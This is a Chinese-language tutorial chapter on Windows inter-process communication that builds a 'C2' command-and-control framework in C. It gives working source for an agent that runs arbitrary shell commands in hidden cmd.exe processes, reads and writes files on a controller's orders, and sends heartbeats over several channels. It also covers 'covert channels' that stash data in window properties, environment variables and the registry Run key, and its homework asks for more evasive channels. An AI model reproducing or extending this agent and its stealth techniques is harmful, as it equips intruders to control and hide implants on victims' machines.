进程通信专题

6、阶段合集

1、课程目标

  1. 综合运用各种进程间通信技术
  2. 构建完整的C2通信框架
  3. 实现多通道备份通信机制
  4. 掌握隐蔽通信技术的实战应用

2、名词解释

术语 解释
C2 Command & Control,命令与控制服务器
通道复用 使用多种通信方式作为备份
心跳包 定期发送的保活数据包
隐蔽通道 不易被检测的通信方式
IPC Inter-Process Communication进程间通信

3、使用工具

工具 用途
Visual Studio 编译调试
Process Monitor 监控IPC活动
API Monitor API调用监控
Wireshark 网络通信分析(网络部分)

4、技术原理

4.1、进程通信方式对比

┌────────────────────────────────────────────────────────────┐
│              进程间通信技术选择指南                          │
├──────────────┬──────────────┬──────────────┬───────────────┤
│     技术     │     速度     │    复杂度    │    适用场景    │
├──────────────┼──────────────┼──────────────┼───────────────┤
│ 文件映射     │    ★★★★★   │     ★★★    │ 大数据/高频   │
│ 命名管道     │    ★★★★    │     ★★★    │ 流式数据      │
│ WM_COPYDATA  │    ★★★★    │     ★★      │ 窗口进程      │
│ 邮槽         │    ★★★     │     ★       │ 简单广播      │
│ 剪切板       │    ★★      │     ★       │ 少量数据      │
│ 匿名管道     │    ★★★★    │     ★★      │ 父子进程      │
└──────────────┴──────────────┴──────────────┴───────────────┘

4.2、综合通信架构

┌─────────────────────────────────────────────────────────────┐
│                    C2 Agent 通信架构                         │
│                                                             │
│  ┌─────────────┐      ┌─────────────┐                      │
│  │  主控进程    │←────→│  通信管理器  │                      │
│  └─────────────┘      └──────┬──────┘                      │
│                              │                              │
│         ┌────────────┬───────┼───────┬────────────┐        │
│         ↓            ↓       ↓       ↓            ↓        │
│   ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐     │
│   │ 文件映射  │ │ 命名管道  │ │ 邮槽    │ │ COPYDATA │     │
│   └──────────┘ └──────────┘ └──────────┘ └──────────┘     │
│         │            │       │            │               │
│         └────────────┴───────┴────────────┘               │
│                        ↓                                   │
│              ┌──────────────────┐                         │
│              │    子进程/模块    │                         │
│              └──────────────────┘                         │
└─────────────────────────────────────────────────────────────┘

5、代码实现

5.1、项目1:统一IPC通信库

// IPCLib.h - 统一进程间通信库
#ifndef IPC_LIB_H
#define IPC_LIB_H

#include <windows.h>

// IPC类型枚举
typedef enum _IPC_TYPE {
    IPC_TYPE_FILEMAPPING = 0,
    IPC_TYPE_NAMEDPIPE,
    IPC_TYPE_MAILSLOT,
    IPC_TYPE_WMCOPYDATA,
    IPC_TYPE_CLIPBOARD
} IPC_TYPE;

// IPC通道结构
typedef struct _IPC_CHANNEL {
    IPC_TYPE        Type;
    HANDLE          hChannel;
    LPVOID          pSharedMem;
    HWND            hWndTarget;
    char            szName[256];
    BOOL            bServer;
    CRITICAL_SECTION cs;
} IPC_CHANNEL, *PIPC_CHANNEL;

// 消息包结构
typedef struct _IPC_MESSAGE {
    DWORD           dwMsgId;
    DWORD           dwFlags;
    DWORD           dwDataSize;
    BYTE            bData[8000];
} IPC_MESSAGE, *PIPC_MESSAGE;

// API声明
PIPC_CHANNEL IPC_CreateChannel(IPC_TYPE type, const char* name, BOOL bServer);
VOID IPC_DestroyChannel(PIPC_CHANNEL pChannel);
BOOL IPC_Send(PIPC_CHANNEL pChannel, PIPC_MESSAGE pMsg);
BOOL IPC_Receive(PIPC_CHANNEL pChannel, PIPC_MESSAGE pMsg, DWORD dwTimeout);
BOOL IPC_IsConnected(PIPC_CHANNEL pChannel);

#endif
// IPCLib.c - 统一进程间通信库实现
#include <stdio.h>
#include "IPCLib.h"

#define FILEMAPPING_SIZE 8192

// ======================== 文件映射实现 ========================

static PIPC_CHANNEL CreateFileMappingChannel(const char* name, BOOL bServer) {
    PIPC_CHANNEL pChannel = (PIPC_CHANNEL)malloc(sizeof(IPC_CHANNEL));
    if (!pChannel) return NULL;
    
    memset(pChannel, 0, sizeof(IPC_CHANNEL));
    pChannel->Type = IPC_TYPE_FILEMAPPING;
    pChannel->bServer = bServer;
    sprintf(pChannel->szName, "Local\\IPC_FM_%s", name);
    
    InitializeCriticalSection(&pChannel->cs);
    
    if (bServer) {
        pChannel->hChannel = CreateFileMappingA(
            INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE,
            0, FILEMAPPING_SIZE, pChannel->szName);
    } else {
        pChannel->hChannel = OpenFileMappingA(
            FILE_MAP_ALL_ACCESS, FALSE, pChannel->szName);
    }
    
    if (!pChannel->hChannel) {
        DeleteCriticalSection(&pChannel->cs);
        free(pChannel);
        return NULL;
    }
    
    pChannel->pSharedMem = MapViewOfFile(
        pChannel->hChannel, FILE_MAP_ALL_ACCESS, 0, 0, FILEMAPPING_SIZE);
    
    if (!pChannel->pSharedMem) {
        CloseHandle(pChannel->hChannel);
        DeleteCriticalSection(&pChannel->cs);
        free(pChannel);
        return NULL;
    }
    
    return pChannel;
}

// ======================== 命名管道实现 ========================

static PIPC_CHANNEL CreateNamedPipeChannel(const char* name, BOOL bServer) {
    PIPC_CHANNEL pChannel = (PIPC_CHANNEL)malloc(sizeof(IPC_CHANNEL));
    if (!pChannel) return NULL;
    
    memset(pChannel, 0, sizeof(IPC_CHANNEL));
    pChannel->Type = IPC_TYPE_NAMEDPIPE;
    pChannel->bServer = bServer;
    sprintf(pChannel->szName, "\\\\.\\pipe\\IPC_%s", name);
    
    InitializeCriticalSection(&pChannel->cs);
    
    if (bServer) {
        pChannel->hChannel = CreateNamedPipeA(
            pChannel->szName,
            PIPE_ACCESS_DUPLEX,
            PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
            1, 8192, 8192, 0, NULL);
    } else {
        pChannel->hChannel = CreateFileA(
            pChannel->szName,
            GENERIC_READ | GENERIC_WRITE,
            0, NULL, OPEN_EXISTING, 0, NULL);
    }
    
    if (pChannel->hChannel == INVALID_HANDLE_VALUE) {
        DeleteCriticalSection(&pChannel->cs);
        free(pChannel);
        return NULL;
    }
    
    return pChannel;
}

// ======================== 邮槽实现 ========================

static PIPC_CHANNEL CreateMailslotChannel(const char* name, BOOL bServer) {
    PIPC_CHANNEL pChannel = (PIPC_CHANNEL)malloc(sizeof(IPC_CHANNEL));
    if (!pChannel) return NULL;
    
    memset(pChannel, 0, sizeof(IPC_CHANNEL));
    pChannel->Type = IPC_TYPE_MAILSLOT;
    pChannel->bServer = bServer;
    sprintf(pChannel->szName, "\\\\.\\mailslot\\IPC_%s", name);
    
    InitializeCriticalSection(&pChannel->cs);
    
    if (bServer) {
        pChannel->hChannel = CreateMailslotA(
            pChannel->szName, 0, MAILSLOT_WAIT_FOREVER, NULL);
    } else {
        pChannel->hChannel = CreateFileA(
            pChannel->szName,
            GENERIC_WRITE, FILE_SHARE_READ,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    }
    
    if (pChannel->hChannel == INVALID_HANDLE_VALUE) {
        DeleteCriticalSection(&pChannel->cs);
        free(pChannel);
        return NULL;
    }
    
    return pChannel;
}

// ======================== 统一接口 ========================

PIPC_CHANNEL IPC_CreateChannel(IPC_TYPE type, const char* name, BOOL bServer) {
    switch (type) {
        case IPC_TYPE_FILEMAPPING:
            return CreateFileMappingChannel(name, bServer);
        case IPC_TYPE_NAMEDPIPE:
            return CreateNamedPipeChannel(name, bServer);
        case IPC_TYPE_MAILSLOT:
            return CreateMailslotChannel(name, bServer);
        default:
            return NULL;
    }
}

VOID IPC_DestroyChannel(PIPC_CHANNEL pChannel) {
    if (!pChannel) return;
    
    EnterCriticalSection(&pChannel->cs);
    
    switch (pChannel->Type) {
        case IPC_TYPE_FILEMAPPING:
            if (pChannel->pSharedMem) UnmapViewOfFile(pChannel->pSharedMem);
            if (pChannel->hChannel) CloseHandle(pChannel->hChannel);
            break;
        case IPC_TYPE_NAMEDPIPE:
        case IPC_TYPE_MAILSLOT:
            if (pChannel->hChannel != INVALID_HANDLE_VALUE)
                CloseHandle(pChannel->hChannel);
            break;
    }
    
    LeaveCriticalSection(&pChannel->cs);
    DeleteCriticalSection(&pChannel->cs);
    free(pChannel);
}

BOOL IPC_Send(PIPC_CHANNEL pChannel, PIPC_MESSAGE pMsg) {
    if (!pChannel || !pMsg) return FALSE;
    
    BOOL bResult = FALSE;
    DWORD dwWritten = 0;
    
    EnterCriticalSection(&pChannel->cs);
    
    switch (pChannel->Type) {
        case IPC_TYPE_FILEMAPPING:
            memcpy(pChannel->pSharedMem, pMsg, sizeof(IPC_MESSAGE));
            bResult = TRUE;
            break;
            
        case IPC_TYPE_NAMEDPIPE:
        case IPC_TYPE_MAILSLOT:
            bResult = WriteFile(pChannel->hChannel, pMsg, 
                sizeof(IPC_MESSAGE), &dwWritten, NULL);
            break;
    }
    
    LeaveCriticalSection(&pChannel->cs);
    return bResult;
}

BOOL IPC_Receive(PIPC_CHANNEL pChannel, PIPC_MESSAGE pMsg, DWORD dwTimeout) {
    if (!pChannel || !pMsg) return FALSE;
    
    BOOL bResult = FALSE;
    DWORD dwRead = 0;
    
    EnterCriticalSection(&pChannel->cs);
    
    switch (pChannel->Type) {
        case IPC_TYPE_FILEMAPPING:
            memcpy(pMsg, pChannel->pSharedMem, sizeof(IPC_MESSAGE));
            bResult = TRUE;
            break;
            
        case IPC_TYPE_NAMEDPIPE:
            if (pChannel->bServer) {
                // 服务端需要先连接
                ConnectNamedPipe(pChannel->hChannel, NULL);
            }
            bResult = ReadFile(pChannel->hChannel, pMsg,
                sizeof(IPC_MESSAGE), &dwRead, NULL);
            break;
            
        case IPC_TYPE_MAILSLOT:
            bResult = ReadFile(pChannel->hChannel, pMsg,
                sizeof(IPC_MESSAGE), &dwRead, NULL);
            break;
    }
    
    LeaveCriticalSection(&pChannel->cs);
    return bResult;
}

5.2、项目2:多通道C2 Agent框架

// C2Agent.h - C2通信Agent头文件
#ifndef C2_AGENT_H
#define C2_AGENT_H

#include <windows.h>
#include "IPCLib.h"

// 命令类型
#define CMD_NOP         0x00
#define CMD_HEARTBEAT   0x01
#define CMD_SHELL       0x10
#define CMD_UPLOAD      0x20
#define CMD_DOWNLOAD    0x21
#define CMD_INJECT      0x30
#define CMD_EXIT        0xFF

// Agent状态
typedef enum _AGENT_STATE {
    AGENT_IDLE = 0,
    AGENT_RUNNING,
    AGENT_PAUSED,
    AGENT_STOPPED
} AGENT_STATE;

// Agent上下文
typedef struct _AGENT_CONTEXT {
    DWORD           dwAgentId;
    AGENT_STATE     State;
    PIPC_CHANNEL    Channels[4];
    int             nActiveChannel;
    HANDLE          hWorkerThread;
    HANDLE          hHeartbeatThread;
    BOOL            bRunning;
    CRITICAL_SECTION cs;
} AGENT_CONTEXT, *PAGENT_CONTEXT;

// API
PAGENT_CONTEXT Agent_Initialize(DWORD dwId);
VOID Agent_Shutdown(PAGENT_CONTEXT pCtx);
BOOL Agent_Start(PAGENT_CONTEXT pCtx);
VOID Agent_ExecuteCommand(PAGENT_CONTEXT pCtx, PIPC_MESSAGE pCmd);

#endif
// C2Agent.c - C2通信Agent实现
#include <stdio.h>
#include <stdlib.h>
#include "C2Agent.h"

// 心跳线程
DWORD WINAPI HeartbeatThread(LPVOID lpParam) {
    PAGENT_CONTEXT pCtx = (PAGENT_CONTEXT)lpParam;
    IPC_MESSAGE msg = {0};
    
    msg.dwMsgId = CMD_HEARTBEAT;
    msg.dwFlags = 0;
    
    while (pCtx->bRunning) {
        // 获取系统信息作为心跳数据
        DWORD pid = GetCurrentProcessId();
        DWORD tick = GetTickCount();
        
        sprintf((char*)msg.bData, "HB|%d|%d|%d", 
                pCtx->dwAgentId, pid, tick);
        msg.dwDataSize = strlen((char*)msg.bData) + 1;
        
        // 尝试通过可用通道发送
        EnterCriticalSection(&pCtx->cs);
        for (int i = 0; i < 4; i++) {
            if (pCtx->Channels[i]) {
                if (IPC_Send(pCtx->Channels[i], &msg)) {
                    pCtx->nActiveChannel = i;
                    break;
                }
            }
        }
        LeaveCriticalSection(&pCtx->cs);
        
        Sleep(5000);  // 5秒心跳间隔
    }
    
    return 0;
}

// 命令执行
VOID Agent_ExecuteCommand(PAGENT_CONTEXT pCtx, PIPC_MESSAGE pCmd) {
    IPC_MESSAGE response = {0};
    response.dwMsgId = pCmd->dwMsgId;
    
    switch (pCmd->dwMsgId) {
        case CMD_SHELL: {
            // 执行Shell命令
            char cmdline[4096];
            sprintf(cmdline, "cmd.exe /c %s", pCmd->bData);
            
            SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE};
            HANDLE hReadPipe, hWritePipe;
            CreatePipe(&hReadPipe, &hWritePipe, &sa, 0);
            
            STARTUPINFOA si = {sizeof(si)};
            PROCESS_INFORMATION pi;
            si.dwFlags = STARTF_USESTDHANDLES;
            si.hStdOutput = hWritePipe;
            si.hStdError = hWritePipe;
            
            if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
                    CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
                CloseHandle(hWritePipe);
                
                DWORD dwRead;
                ReadFile(hReadPipe, response.bData, 
                    sizeof(response.bData) - 1, &dwRead, NULL);
                response.dwDataSize = dwRead;
                
                WaitForSingleObject(pi.hProcess, 30000);
                CloseHandle(pi.hProcess);
                CloseHandle(pi.hThread);
            }
            CloseHandle(hReadPipe);
            break;
        }
        
        case CMD_DOWNLOAD: {
            // 读取文件内容
            HANDLE hFile = CreateFileA((char*)pCmd->bData,
                GENERIC_READ, FILE_SHARE_READ, NULL,
                OPEN_EXISTING, 0, NULL);
            
            if (hFile != INVALID_HANDLE_VALUE) {
                DWORD dwRead;
                ReadFile(hFile, response.bData, 
                    sizeof(response.bData), &dwRead, NULL);
                response.dwDataSize = dwRead;
                CloseHandle(hFile);
            }
            break;
        }
        
        case CMD_UPLOAD: {
            // 写入文件
            char* sep = strchr((char*)pCmd->bData, '|');
            if (sep) {
                *sep = 0;
                char* filename = (char*)pCmd->bData;
                char* content = sep + 1;
                
                HANDLE hFile = CreateFileA(filename,
                    GENERIC_WRITE, 0, NULL,
                    CREATE_ALWAYS, 0, NULL);
                
                if (hFile != INVALID_HANDLE_VALUE) {
                    DWORD dwWritten;
                    WriteFile(hFile, content, 
                        pCmd->dwDataSize - (sep - (char*)pCmd->bData) - 1,
                        &dwWritten, NULL);
                    CloseHandle(hFile);
                    strcpy((char*)response.bData, "Upload OK");
                    response.dwDataSize = 10;
                }
            }
            break;
        }
        
        case CMD_EXIT:
            pCtx->State = AGENT_STOPPED;
            pCtx->bRunning = FALSE;
            strcpy((char*)response.bData, "Agent exiting");
            response.dwDataSize = 14;
            break;
    }
    
    // 发送响应
    EnterCriticalSection(&pCtx->cs);
    if (pCtx->Channels[pCtx->nActiveChannel]) {
        IPC_Send(pCtx->Channels[pCtx->nActiveChannel], &response);
    }
    LeaveCriticalSection(&pCtx->cs);
}

// 工作线程
DWORD WINAPI WorkerThread(LPVOID lpParam) {
    PAGENT_CONTEXT pCtx = (PAGENT_CONTEXT)lpParam;
    IPC_MESSAGE msg;
    
    while (pCtx->bRunning) {
        // 尝试从所有通道接收
        for (int i = 0; i < 4 && pCtx->bRunning; i++) {
            if (!pCtx->Channels[i]) continue;
            
            if (IPC_Receive(pCtx->Channels[i], &msg, 1000)) {
                pCtx->nActiveChannel = i;
                Agent_ExecuteCommand(pCtx, &msg);
            }
        }
        
        Sleep(100);
    }
    
    return 0;
}

PAGENT_CONTEXT Agent_Initialize(DWORD dwId) {
    PAGENT_CONTEXT pCtx = (PAGENT_CONTEXT)malloc(sizeof(AGENT_CONTEXT));
    if (!pCtx) return NULL;
    
    memset(pCtx, 0, sizeof(AGENT_CONTEXT));
    pCtx->dwAgentId = dwId;
    pCtx->State = AGENT_IDLE;
    
    InitializeCriticalSection(&pCtx->cs);
    
    // 初始化多个通信通道
    char name[64];
    sprintf(name, "agent_%d", dwId);
    
    // 尝试创建多种通道
    pCtx->Channels[0] = IPC_CreateChannel(IPC_TYPE_FILEMAPPING, name, FALSE);
    pCtx->Channels[1] = IPC_CreateChannel(IPC_TYPE_NAMEDPIPE, name, FALSE);
    pCtx->Channels[2] = IPC_CreateChannel(IPC_TYPE_MAILSLOT, name, FALSE);
    
    // 检查至少有一个通道可用
    BOOL bHasChannel = FALSE;
    for (int i = 0; i < 4; i++) {
        if (pCtx->Channels[i]) {
            bHasChannel = TRUE;
            pCtx->nActiveChannel = i;
            break;
        }
    }
    
    if (!bHasChannel) {
        printf("[Agent] No channel available\n");
    }
    
    return pCtx;
}

BOOL Agent_Start(PAGENT_CONTEXT pCtx) {
    if (!pCtx) return FALSE;
    
    pCtx->bRunning = TRUE;
    pCtx->State = AGENT_RUNNING;
    
    // 启动心跳线程
    pCtx->hHeartbeatThread = CreateThread(
        NULL, 0, HeartbeatThread, pCtx, 0, NULL);
    
    // 启动工作线程
    pCtx->hWorkerThread = CreateThread(
        NULL, 0, WorkerThread, pCtx, 0, NULL);
    
    return TRUE;
}

VOID Agent_Shutdown(PAGENT_CONTEXT pCtx) {
    if (!pCtx) return;
    
    pCtx->bRunning = FALSE;
    
    if (pCtx->hHeartbeatThread) {
        WaitForSingleObject(pCtx->hHeartbeatThread, 3000);
        CloseHandle(pCtx->hHeartbeatThread);
    }
    
    if (pCtx->hWorkerThread) {
        WaitForSingleObject(pCtx->hWorkerThread, 3000);
        CloseHandle(pCtx->hWorkerThread);
    }
    
    for (int i = 0; i < 4; i++) {
        if (pCtx->Channels[i]) {
            IPC_DestroyChannel(pCtx->Channels[i]);
        }
    }
    
    DeleteCriticalSection(&pCtx->cs);
    free(pCtx);
}

5.3、项目3:C2 Controller控制端

// C2Controller.c - C2控制端
#include <stdio.h>
#include <stdlib.h>
#include "IPCLib.h"
#include "C2Agent.h"

typedef struct _CONTROLLER_CONTEXT {
    PIPC_CHANNEL Channels[4];
    int nAgents;
    BOOL bRunning;
} CONTROLLER_CONTEXT, *PCONTROLLER_CONTEXT;

PCONTROLLER_CONTEXT Controller_Initialize(DWORD dwAgentId) {
    PCONTROLLER_CONTEXT pCtx = (PCONTROLLER_CONTEXT)malloc(sizeof(CONTROLLER_CONTEXT));
    if (!pCtx) return NULL;
    
    memset(pCtx, 0, sizeof(CONTROLLER_CONTEXT));
    
    char name[64];
    sprintf(name, "agent_%d", dwAgentId);
    
    // 创建服务端通道
    pCtx->Channels[0] = IPC_CreateChannel(IPC_TYPE_FILEMAPPING, name, TRUE);
    pCtx->Channels[1] = IPC_CreateChannel(IPC_TYPE_NAMEDPIPE, name, TRUE);
    pCtx->Channels[2] = IPC_CreateChannel(IPC_TYPE_MAILSLOT, name, TRUE);
    
    pCtx->bRunning = TRUE;
    
    return pCtx;
}

void Controller_SendCommand(PCONTROLLER_CONTEXT pCtx, DWORD dwCmd, const char* data) {
    IPC_MESSAGE msg = {0};
    msg.dwMsgId = dwCmd;
    
    if (data) {
        strcpy((char*)msg.bData, data);
        msg.dwDataSize = strlen(data) + 1;
    }
    
    // 通过所有可用通道发送
    for (int i = 0; i < 4; i++) {
        if (pCtx->Channels[i]) {
            if (IPC_Send(pCtx->Channels[i], &msg)) {
                printf("[Controller] Command sent via channel %d\n", i);
            }
        }
    }
}

void Controller_ReceiveLoop(PCONTROLLER_CONTEXT pCtx) {
    IPC_MESSAGE msg;
    
    while (pCtx->bRunning) {
        for (int i = 0; i < 4; i++) {
            if (!pCtx->Channels[i]) continue;
            
            if (IPC_Receive(pCtx->Channels[i], &msg, 100)) {
                switch (msg.dwMsgId) {
                    case CMD_HEARTBEAT:
                        printf("[Heartbeat] %s\n", msg.bData);
                        break;
                    default:
                        printf("[Response] Cmd=%d Data=%s\n", 
                               msg.dwMsgId, msg.bData);
                }
            }
        }
        Sleep(100);
    }
}

int main() {
    printf("=== C2 Controller ===\n\n");
    
    PCONTROLLER_CONTEXT pCtx = Controller_Initialize(1001);
    if (!pCtx) {
        printf("Failed to initialize controller\n");
        return 1;
    }
    
    printf("Controller ready. Commands:\n");
    printf("  shell <cmd>  - Execute shell command\n");
    printf("  download <f> - Download file\n");
    printf("  exit         - Exit agent\n");
    printf("  quit         - Quit controller\n\n");
    
    // 启动接收线程
    HANDLE hRecv = CreateThread(NULL, 0, 
        (LPTHREAD_START_ROUTINE)Controller_ReceiveLoop, pCtx, 0, NULL);
    
    char input[1024];
    while (pCtx->bRunning) {
        printf("> ");
        if (!fgets(input, sizeof(input), stdin)) break;
        
        input[strcspn(input, "\n")] = 0;
        
        if (strncmp(input, "shell ", 6) == 0) {
            Controller_SendCommand(pCtx, CMD_SHELL, input + 6);
        }
        else if (strncmp(input, "download ", 9) == 0) {
            Controller_SendCommand(pCtx, CMD_DOWNLOAD, input + 9);
        }
        else if (strcmp(input, "exit") == 0) {
            Controller_SendCommand(pCtx, CMD_EXIT, NULL);
        }
        else if (strcmp(input, "quit") == 0) {
            pCtx->bRunning = FALSE;
        }
    }
    
    WaitForSingleObject(hRecv, 1000);
    
    for (int i = 0; i < 4; i++) {
        if (pCtx->Channels[i])
            IPC_DestroyChannel(pCtx->Channels[i]);
    }
    free(pCtx);
    
    return 0;
}

5.4、项目4:隐蔽通道通信

// CovertChannel.c - 隐蔽通道实现
#include <windows.h>
#include <stdio.h>

// 使用窗口属性作为隐蔽通道
#define PROP_NAME "CovertData"

BOOL CovertSend_WindowProp(HWND hTargetWnd, const void* data, size_t size) {
    // 分配全局内存
    HGLOBAL hGlobal = GlobalAlloc(GHND, size + sizeof(DWORD));
    if (!hGlobal) return FALSE;
    
    LPVOID pMem = GlobalLock(hGlobal);
    *(DWORD*)pMem = (DWORD)size;
    memcpy((BYTE*)pMem + sizeof(DWORD), data, size);
    GlobalUnlock(hGlobal);
    
    // 设置窗口属性
    return SetPropA(hTargetWnd, PROP_NAME, hGlobal);
}

BOOL CovertRecv_WindowProp(HWND hWnd, void* buffer, size_t* pSize) {
    HGLOBAL hGlobal = (HGLOBAL)GetPropA(hWnd, PROP_NAME);
    if (!hGlobal) return FALSE;
    
    LPVOID pMem = GlobalLock(hGlobal);
    DWORD dwSize = *(DWORD*)pMem;
    
    if (*pSize < dwSize) {
        GlobalUnlock(hGlobal);
        *pSize = dwSize;
        return FALSE;
    }
    
    memcpy(buffer, (BYTE*)pMem + sizeof(DWORD), dwSize);
    *pSize = dwSize;
    GlobalUnlock(hGlobal);
    
    // 清理
    RemovePropA(hWnd, PROP_NAME);
    GlobalFree(hGlobal);
    
    return TRUE;
}

// 使用环境变量作为隐蔽通道
#define ENV_VAR_NAME "COVERT_DATA"

BOOL CovertSend_EnvVar(const char* data) {
    return SetEnvironmentVariableA(ENV_VAR_NAME, data);
}

BOOL CovertRecv_EnvVar(char* buffer, DWORD size) {
    DWORD ret = GetEnvironmentVariableA(ENV_VAR_NAME, buffer, size);
    if (ret > 0 && ret < size) {
        SetEnvironmentVariableA(ENV_VAR_NAME, NULL);  // 清除
        return TRUE;
    }
    return FALSE;
}

// 使用注册表作为隐蔽通道
#define REG_COVERT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define REG_COVERT_VALUE "CovertData"

BOOL CovertSend_Registry(const void* data, size_t size) {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_CURRENT_USER, REG_COVERT_PATH, 
            0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
        return FALSE;
    }
    
    BOOL bResult = (RegSetValueExA(hKey, REG_COVERT_VALUE, 0, 
        REG_BINARY, (BYTE*)data, (DWORD)size) == ERROR_SUCCESS);
    
    RegCloseKey(hKey);
    return bResult;
}

BOOL CovertRecv_Registry(void* buffer, size_t* pSize) {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_CURRENT_USER, REG_COVERT_PATH,
            0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS) {
        return FALSE;
    }
    
    DWORD dwType, dwSize = (DWORD)*pSize;
    BOOL bResult = (RegQueryValueExA(hKey, REG_COVERT_VALUE, NULL,
        &dwType, (BYTE*)buffer, &dwSize) == ERROR_SUCCESS);
    
    if (bResult) {
        *pSize = dwSize;
        RegDeleteValueA(hKey, REG_COVERT_VALUE);
    }
    
    RegCloseKey(hKey);
    return bResult;
}

// 测试隐蔽通道
int main() {
    printf("=== Covert Channel Test ===\n\n");
    
    // 测试环境变量通道
    const char* testData = "Secret Command";
    CovertSend_EnvVar(testData);
    
    char recvBuf[256];
    if (CovertRecv_EnvVar(recvBuf, sizeof(recvBuf))) {
        printf("[EnvVar] Received: %s\n", recvBuf);
    }
    
    // 测试注册表通道
    BYTE binData[] = {0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x02, 0x03, 0x04};
    CovertSend_Registry(binData, sizeof(binData));
    
    BYTE recvBin[256];
    size_t recvSize = sizeof(recvBin);
    if (CovertRecv_Registry(recvBin, &recvSize)) {
        printf("[Registry] Received %zu bytes: ", recvSize);
        for (size_t i = 0; i < recvSize; i++)
            printf("%02X ", recvBin[i]);
        printf("\n");
    }
    
    return 0;
}

6、课后作业

  1. 完善IPC库,添加WM_COPYDATA和剪切板通道支持
  2. 实现通道自动切换和故障恢复机制
  3. 为通信数据添加加密和完整性校验
  4. 实现一个完整的本地C2通信演示系统
  5. 研究并实现更多隐蔽通道(如文件时间戳、ADS等)

7、扩展阅读

  • Windows IPC机制深度解析
  • 隐蔽通道技术研究
  • 进程间通信安全性分析
  • C2框架通信设计模式